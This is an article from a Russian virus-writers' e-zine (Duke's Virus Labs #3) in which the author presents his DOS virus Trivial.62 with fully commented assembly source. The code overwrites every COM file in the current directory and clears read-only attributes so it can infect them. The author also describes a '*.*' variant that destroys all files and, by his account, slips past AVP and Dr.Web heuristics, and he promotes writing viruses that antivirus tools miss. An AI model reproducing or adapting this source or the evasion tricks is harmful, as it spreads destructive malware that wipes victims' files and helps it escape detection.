- [Duke's Virus Labs #3] - [Page 17] - Trivial.62 & Trivial.60 (c) by Duke/SMF Имя вируса : Trivial.62 & Trivial.60 Автор : Duke/SMF Дата создания : 18.12.98 В этом номере опубликован HLLC.Smoller.70440 (статья 12). А сейчас я представляю свой вирус-малютку Trivial.62. Вирус ну просто чересчур тривиален, хотя в нем есть одно интересное место. Для работы с R/O файлами вирус изменяет атрибуты файла до открытия на Read/Write, а потом, как ни в чем ни бывало, открывает файл для записи. Этот прием впервые предложил Kouch, за что ему причитаются благодарности. В остальном - ничего интересного. Я полностью откомментировал исходник (благо он небольшой ;)), поэтому можете во всем разобраться сами. При работе над mini-вирусом я часто сталкивался с тем, что созданные мной вирусы определялись AVP как Trivial-based, что меня сильно смущало по двум причинам: 1) помещать в журнал вирус, который уже детектируется антивирусом, по меньшей мере неинтересно, а по большому счету - стыдно; 2) смотри 3-й принцип вирусописателей, а именно : "Писать надо то, что не детектируется антивирусами". Поэтому я переделывал и переделывал свое творчество, пока не дошел до данного варианта. Я не говорю, что нельзя было написать меньший вирус (например, убрав извраты с открытием файла). Другое дело - а надо ли это ? (смотри 2-й принцип вирусописателей, а именно "Больше вирусов хороших и разных" :) Поэтому в прилагающемся к статье архиве содержится еще несколько вариантов этого вируса ;) В процессе моих изысканий я обнаружил, что если маску файла в вирусе заменить с "*.com" на "*.*" , то получим 1) размер вируса сократится на 2 байта (ну, это и слепому видно ;)) 2) самая крутейшая эвристика программ AVP и Dr.Web обламывается на корню и перестает выдавать какие бы то ни было подозрения ! Этот вариант вируса представлен в файле tr_60.asm. Конечно, это жестоко - перезаписывать все подряд файлы, но, как гласит 1-й принцип вирусописателей, "Все, что может размножаться, имеет право на жизнь!" :) Итак, вирус. Поражает все COM-файлы текущего каталога, записываясь в их начало поверх оригинального содержимого. Исходник перед вами (файл tr_62.asm): ===== Cut here ===== ;Trivial.62 (c) by Duke/SMF model tiny .code org 100h virus_length equ finish - start ;Длина вируса ; за счет того, что длина вируса вычисляется ; именно в этом месте, выигрываем 2 байта ! start : ;Начало вируса mov ah,04Eh ;Поиск первого файла mov dx,offset file_spec ;DX указывает на "*.com" infect: int 21h jnc infect_file ;Если файл найден, то поражаем, ret ;в противном случае конец работы. infect_file: mov ah,43H ;Эти команды берут файловые mov al,0 ;атрибуты и меняют их на mov dx,09Eh ;доступ к чтению/записи, и int 21H ;когда придет время открывать файл ; mov ah,43H ;вирус сможет поразить файл mov al,1 ;с атрибутом 'read only'. mov dx,09Eh ;Файл оставляется доступным mov cl,0 ;для чтения/записи, поскольку int 21H ;это никто не проверяет. mov ax,03D01h ;Открываем файл для записи mov dx,09Eh ;DX указывает на найденный файл int 021h xchg bx,ax ;BX содержит файловый handle mov ah,040h ;Функция записи в файл mov cl,virus_length ;CL = сколько байт писать mov dx,offset start ;DX = начало кода вируса int 021h mov ah,03Eh ;Закрываем файл int 021h mov ah,04Fh ;Поиск следующего файла jmp infect ;Переход на заражение file_spec db "*.com",0 ;Маска файлов для поиска finish : ;Конец вируса end start ===== Cut here =====